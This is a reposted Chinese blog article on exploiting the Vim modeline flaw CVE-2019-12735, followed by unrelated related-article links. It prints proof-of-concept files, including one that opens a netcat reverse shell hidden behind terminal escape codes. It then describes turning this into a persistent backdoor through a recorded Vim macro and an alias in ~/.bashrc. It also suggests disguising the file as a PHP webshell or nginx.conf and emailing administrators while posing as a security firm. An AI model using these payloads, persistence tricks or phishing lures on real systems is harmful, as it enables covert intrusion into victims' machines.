基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解

不明觉厉

只要是人做的东西 就会有bug 就会有安全问题 

就看发现bug 或者是发现安全问题 有没有收益了

会用linux的都是比较熟悉操作系统等概念的 不容易被钓鱼

反过来 很多用windows的能力会很差, 所以 windows上面显的更加脆弱。

这就好比开丰田车出事故的人  要比开众泰出事故的人要多很多一个道理。

众泰开的少 而且大家都可能会修车了。。

https://www.freebuf.com/vuls/205516.html

0×00 引言

作为一个vim多年使用者,前两天得知爆出个VIM的RCE漏洞搞的我有点害怕,因此特意对这个漏洞的利用进行了一些研究。由于本人是个菜的抠脚的脚本小子,因此并不会在这篇文章中去给大家解释漏洞原因,作为脚本小子我只关心如何利用。至于漏洞原因的一些解释可以去原作者的git上去看:原作者GitHub链接

0×01 漏洞复现

先讲一下如何漏洞复现,复现该漏洞的基本条件是:

1.Vim版本在影响范围内,目前大部分版本都有受影响,至少我最近开启的GCP上的ubuntu默认的vim版本在8.0左右是受影响的。

2.必须开启modeline选项,这个选项很关键,我的GCP上默认是不开启的,所以严重降低了该漏洞的危害,不太确定低版本或者是一些衍生版本的vim会不会默认开启。

复现poc1过程:

1. 在~/.vimrc中加入set modeline确保开启该选项

2. 使用原作者的第一个poc直接写入一个文件并保存:`:!uname -a||” vi:fen:fdm=expr:fde=assertfails(“source!\ \%”):fdl=0:fdt=”

3. 然后使用vim打开该文件,如果受影响就会执行打印uname -a的结果,如果不受影响就是一个普通的文本

复现poc2过程:

先来看看原作者在git上写着的poc2:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

如果你只是检测的话可以不用看这个poc,这个poc主要是用来贴近实战的利用。我估计会有人使用这个poc1成功,但是使用poc2始终不成功,其实这个poc有几个地方需要改一下(准确来说是不能复制黏贴):

1.这里面涉及到的十六进制比如\x1b是需要通过二进制编辑器直接改成二进制的,复制黏贴是不行的。将poc中所有的十六进制位置编辑成二进制即可。

2.反斜杠的问题,原poc中作者为了转义特殊符号来显示所以多加了反斜杠,将所有涉及到转义的字符前面多一个的反斜杠“\”去掉就可以了

3.必要的话将最后的\n直接改成回车,如果\n在你的文本里没有被解释成回车的话

按照上面说的流程修改完poc后,我们在测试机本地起个nc监听:nc -lvp 9999最后打开poc2即可看到nc获取到了反弹链接。

0×02 改造poc2加入宏后门

先来说说为什么要加入宏后门,poc2中有个问题,就是当vim打开一次文档后,就不会在携带有恶意代码了从而变成一个普通文档。虽然我们可以通过第一次建立连接后下载木马来获得持久的后门,但这个方式不在讨论范围内了。这里我的想法是先实现每次打开文档都会获得反弹链接的持久后门,而不是依赖于下载外部木马。Poc2其实加了很多代码用来伪装成正常文件内容,使人即使打开文件也不会察觉到里面藏有恶意代码,而poc1则会很明显看到代码执行。这个伪装有几个特点:

受影响版本的vim和cat打开都不会显示插入的恶意代码。

cat -v可以看到恶意代码

不同版本的cat可能会看到一些显示的差异,但是恶意代码依旧是看不到的。

为了不破坏伪装同时做成可持续的后门,比较菜的我只想到了利用vim宏来达到这个效果。

基本实现思路:

首先,我们希望的是每次vim文件都会执行代码,那么有没有可能使其每次vim文件的时候都执行一边vim宏呢?这是可能的,过程如下:

1. 在vim窗口录制宏:q{寄存器名称},录制完成后再按下q按键停止

2. 在~/.bashrc中写入alias vim=vim -c ‘@{寄存器名称}’ 以及shopt -s expand_aliases,通过alias替换vim别名的方式来打开文件默认执行宏

3. 那么只要管理员重新登录shell,以后不管他vim什么文件都会执行我们写在宏里的命令

接下来要做的就是在poc2中合适的地方加入录制宏的命令,其实poc2中那些十六进制比如\x1b是ESC的意思,可以联想到这个应该是vim中切换模式的按键,因此我们可以通过在ESC之后需要执行的命令之前加入qy来开始录制宏y,在命令执行完后某个合适的位置加入q来终止宏的录制。在试了很多次后最终有了以下exp:基本的VIM宏样本

#进一步优化上面那个poc依旧存在几个问题:

1. 每次执行都会疯狂的往bashrc里插入alias那两句,只要vim一次就插一次,这很不好

2. 没有伪装成正常文件内容

为了改善第一个问题,我们可以通过分开执行两次命令,然后宏只录制第一个命令(即反弹shell),第二个插入命令只执行一次。这听起来很容易,其实做起来并不容易……多次执行会遇到很多问题,因为我太菜了所以花了很长的时间。改善第二个问题,其实也远远没有想的那么简单,以为只是在空白处插入文本即可,其实不是的,原poc中的命令会对这些文本产生影响,所以写入什么样的文本都还是有点考究的。这边给出一个最终将这两个问题都解决了并且伪装成一个PHP一句话的案例:伪装成php一句话木马的vim宏后门

PS:最后还有个vim历史命令里会残留执行的命令的问题,这个可以通过插入一些垃圾vim命令来伪装。

0×03 思考总结

考虑到这个漏洞需要开启modeline选项,所以危害严重降低。不过还是可以通过钓鱼来碰运气的,因为你说不好就有生产环境的vim开了这个。假设他们开了那么这个就会成为一个Linux上类似于win上的点击病毒,只要vim了就会中招,而且会随着原文件的copy同步来扩大。还有一些mbp用户也会中招,比如你在网上散播伪装成nginx.conf的文件,诱导那些可怜的开发者来下载使用。甚至于我们可以伪装成一个一句话木马上传到目标站点,至于他能不能执行都不重要,直接发邮件给管理员伪装成安全公司来告知他们扫描发现木马,建议他们通过vim打开文件确认后删除……总之开开脑洞还是可能有利用场景的,不过我个人认为吧,没错这个漏洞就是鸡肋玩具!最后如果有朋友知道具体哪些版本和可能的场景下vim会默认打开modeline选项,还请告知谢谢啦。

[转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解的更多相关文章

  1. “全栈2019”Java异常第二十章:自定义异常详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java异 ...

  2. “全栈2019”Java第七十章:静态内部类详解

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  3. “全栈2019”Java第三十章:数组详解(下篇)

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  4. “全栈2019”Java第二十八章:数组详解(上篇)

    难度 初级 学习时间 10分钟 适合人群 零基础 开发语言 Java 开发环境 JDK v11 IntelliJ IDEA v2018.3 文章原文链接 "全栈2019"Java第 ...

  5. 基于OpenCL的深度学习工具:AMD MLP及其使用详解

    基于OpenCL的深度学习工具:AMD MLP及其使用详解 http://www.csdn.net/article/2015-08-05/2825390 发表于2015-08-05 16:33| 59 ...

  6. 基于XMPP的即时通信系统的建立(二)— XMPP详解

    XMPP详解 XMPP(eXtensible Messaging and Presence Protocol,可扩展消息处理和现场协议)是一种在两个地点间传递小型结构化数据的协议.在此基础上,XMPP ...

  7. [转帖]IP /TCP协议及握手过程和数据包格式中级详解

    IP /TCP协议及握手过程和数据包格式中级详解 https://www.toutiao.com/a6665292902458982926/ 写的挺好的 其实 一直没闹明白 网络好 广播地址 还有 网 ...

  8. [转帖]Java 8新特性探究(八)精简的JRE详解

    Java 8新特性探究(八)精简的JRE详解 https://my.oschina.net/benhaile/blog/211804 精简版的api   撸了今年阿里.网易和美团的面试,我有一个重要发 ...

  9. CentOS 6.5自动化运维之基于DHCP和TFTP服务的PXE自动化安装centos操作系统详解

    前言    如果要给很多台客户端主机安装操作系统,要是每一台都拿张安装光盘一台一台主机的去装系统那就太浪费时间和精力了.在生产环境中也不实际,要实现为多台主机自动安装操作系统,那我们怎么实现自动化安装 ...

随机推荐

  1. 51 Nod 线段最长重叠部分

    1091 线段的重叠  基准时间限制:1 秒 空间限制:131072 KB 分值: 5 难度:1级算法题 X轴上有N条线段,每条线段包括1个起点和终点.线段的重叠是这样来算的,[10 20]和[12 ...

  2. Redis的一点笔记

    Redis 是完全开源免费的,遵守BSD协议,是一个高性能的key-value数据库. Redis 优势: 性能极高 – Redis能读的速度是110000次/s,写的速度是81000次/s . 丰富 ...

  3. hive on tez 任务失败

    最近再hue 集群查询任务经常失败,经过几天的观察,终于找到原因,报错如下 Status: FailedVertex failed, vertexName=Map 1, vertexId=vertex ...

  4. postman 测试api接口

    安装:https://www.getpostman.com/ 谷歌插件安装需要翻墙才能访问,那么直接去官网下载pc端 代码图片: 非常简单 post: 代码图片: 剪头地方,必选

  5. C++入门经典-例3.18-使用for循环计算从1到10的累加

    1:代码如下: // 3.18.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <iostream> usin ...

  6. 第七周总结&第五次实验报告

    学习总结 这周我们加深了对抽象类与接口的学习,获得的知识点也比上周多了许多,抽象类与接口很相似,就比如别人还没有做完的是交给你来做,而他那些样式都做好了,你只需要完善即可 但也有不同点. 区别点 抽象 ...

  7. 界面之下:还原真实的 MV* 模式

    界面之下:还原真实的MV*模式 作者:戴嘉华 转载请注明出处并保留原文链接( https://github.com/livoras/blog/issues/11 )和作者信息. 目录: 前言 MVC ...

  8. 批处理bat相关

    时间 %date:~0,4%%date:~5,2%%date:~8,2%_%time:~0,2%%time:~3,2%%time:~6,2% 判断 if %date:~2,1%==/ (echo en ...

  9. windows怎么远程访问deepin linux桌面

    deepin linux端安装anydesk 1.首先点击打开任务栏上的“深度商店” 2.打开后搜索anydesk. 3.点击进入后按“安装”即可,安装完成即可在“深度商店”点击“打开”运行anyde ...

  10. leetcode 17电话号码的字母组合

    与子集70?类似,子集每次两个分支,本题每次k个分支,子集是第一次不push第二次push元素,本题是每次都push元素,因此,本题答案的长度都为k,子集题目为各种组合: /** res,level, ...